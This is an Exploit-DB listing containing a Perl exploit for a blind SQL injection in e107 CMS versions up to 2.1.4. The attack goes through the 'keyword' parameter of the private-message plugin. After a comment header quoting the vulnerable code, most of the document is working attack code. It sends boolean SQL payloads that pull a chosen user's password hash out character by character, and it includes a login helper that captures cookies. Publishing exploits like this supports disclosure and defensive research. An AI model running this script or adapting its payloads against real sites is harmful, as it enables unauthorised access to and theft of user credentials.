e107 < 2.1.4 - 'keyword' Blind SQL Injection

EDB-ID:

41580

CVE:

N/A

Author:

StAkeR

Type:

webapps

Platform:

PHP

Published:

2017-03-09

#!/usr/bin/perl
#
#
# e107 <= 2.1.4 "keyword" Blind SQL Injection Exploit
#
# --------------------------------------------------------------------------
# [*] Discovered by staker - staker[at]hotmail[dot]it 
# [*] Discovered on 09/03/2017
# [*] Site Vendor: http://www.e107.org
# [*] BUG: Blind SQL Injection
# --------------------------------------------------------------------------
#
#
# Description
# -------------------------------------------------------------------------
# e107 contains one flaw that allows an attacker to carry out an SQL
# injection attack. The issue is due to the "e107_plugins/pm/pm.php" script 
# not properly saniting user-supplied input to the "keyword" POST variable
# This may allow an attacker to inject or manipulate sql queries in
# the backend database regardless of php.ini settings
# -------------------------------------------------------------------------
# SHORT EXPLANATION
# -----------------------------------
# 
# FILE:  "e107_handlers/core_functions.php"
#
# 76. function vartrue(&$val, $default='')                     
# 77. {
# 78.   if (isset($val) && $val) { return $val; } {1} <--- variable is not sanized to be sent at the mysql database
# 79.    return $default;
# 80.}
#
# ----------------------------------
#
# FILE: "e107/e107_plugins/pm/pm.php"
#
# 
# 35. if(vartrue($_POST['keyword']))   {2}<--- if $_POST keyword variable is set, then e107 starts pm_user_lookup() function.
# 36. {
# 37.   pm_user_lookup();
# 38.}
#
#
#
# 615. function pm_user_lookup()
# 616. {
# 617.  $sql = e107::getDb();
# 618.
# 619. $query = "SELECT * FROM #user WHERE user_name REGEXP '^".$_POST['keyword']."' "; {3} <---- variable not sanized
# 620. if($sql->gen($query))
# 621. {
# 622. echo '[';
# 623  while($row = $sql->fetch())
# 624. {
# 625.   $u[] =  "{\"caption\":\"".$row['user_name']."\",\"value\":".$row['user_id']."}";
# 626. }
# 627.
# 628.  echo implode(",",$u);
# 629.  echo ']';
# -----------------------------------
#
#
# use your brain..
#
# Greetz to: Warwolfz Crew,
# meh, Dante90, SHADES MASTER and nexen
#
# -- 0gay --
#
# -----------------------------------
# YOUR MOM IS NOT SAFE ANYMORE!!
# CALL HER!!
# -----------------------------------



use strict;
use IO::Socket::INET;
use LWP::UserAgent;


        

my ($URL,$uid) = @ARGV;
my @chars = (8..122);
my ($i,$ord,$hash) = (1,undef,undef);





if (@ARGV != 2) { usage(); } 


$URL = parse::URL($URL);


syswrite (STDOUT,"[-] Crypted Password: ");


for ($i=0;$i<=60;$i++) 
{
             			
   foreach $ord (@chars) 
   { 
             
      if (e107::Query(sql($i,$ord),$URL) == 666 ) 
	  {  
	      syswrite (STDOUT,chr($ord));
		  $hash .= chr($ord);
		  last;
	  }
	  if ($i == 2 and not defined $hash) 
	  {
	     syswrite (STDOUT,"\n[-] Exploit Failed");
		 exit;
	  }	 
   }		   
}



if (length($hash) == 60) {
   die "\[-]Exploit Successfully";
}
else {
   die "\n[-] Exploit Failed";
}   





sub e107::Query 
{
     
      # 1st parameter, sql query
      # 2nd parameter, e107 website	  

	  my ($query,$URL) = @_;
      my $response = undef; 
	  
      my $lwp = new LWP::UserAgent;


      $lwp->default_header('User-Agent' => 'Lynx (textmode)');

      $response = $lwp->post($URL."/pm/",
                            [ 
			     keyword => $query
			    ]) or die $!;


        if ($response->content =~ /caption/) {
		   return 666;
		} 
        else {
           return 0;
        }		   
		 
}


sub parse::URL
{
        my $string = shift @_ || die($!);
         
        if ($string !~ /^http:\/\/?/i) {
                $string = 'http://'.$string;
        }
         
        return $string;
 }
 


sub sql
{
       
      # 1st parameter, an e107's userid
      # 2nd parameter substring number
      # 3rd parameter charcode number

      my ($i,$j,$sql) = (shift,shift,undef);
       
      $sql = "' AND ASCII(SUBSTRING((SELECT user_password FROM e107_user WHERE user_id=".$uid."),".$i.",1))=".$j."#";
              
      return $sql;        
}        





sub e107::Cookies
{

        my ($username,$password) = @_;
        my ($packet,$content);
        
        my $host = "127.0.0.1";   # Valid Host  (insert it manually)
		my $path = "/e107/";      # Valid e107 path (insert it manually)
		
		
		my $data = "username=",$username."&userpass=".$password."&userlogin=Sign+In";
		
		
		my $socket  = new IO::Socket::INET(
                                            PeerAddr => $host,
                                            PeerPort => 80,
                                            Proto    => 'tcp',
                                          ) or die $!;
		
		
		 
        $packet .= "POST ".$path."/login.php HTTP/1.1\r\n";
        $packet .= "Host: ".$host."\r\n";
        $packet .= "User-Agent: Lynx (textmode)\r\n";
        $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $packet .= "Content-Length:".length($data)."\r\n";
        $packet .= "Connection: close\r\n\r\n";
        $packet.= $data;
		
        
		$socket->send($packet);
		
		while (<$socket>) {
		  $content .= $_;
		}  
		
		
		if ($content =~ /Set-Cookie: (.+?)/) {
		    return $1;
	    }
        else {
            die("[-] Login Failed..\n");
        }			
		
		
	# This function is useful to log-in and retrieves your cookies, but you don't need it for this exploit.
        # it works without log-in, but if you got some trouble, try to use this one.
        
	# e107::Login('YOUR USERNAME','YOUR PASSWORD');
}		
		
		
sub usage() {
         
        print "[*---------------------------------------------------------*]\n".
              "[*  e107 <= 2.1.4 'keyword' Blind SQL Injection Exploit    *]\n".
              "[*---------------------------------------------------------*]\n". 
              "[* Usage: perl web.pl [host] [uid]                         *]\n".
              "[*                                                         *]\n".
              "[* Options:                                                *]\n".
              "[* [host] insert a valid host                              *]\n".
              "[* [uid]  insert a userid                                  *]\n".
              "[*---------------------------------------------------------*]\n";        
      exit;                       
    
}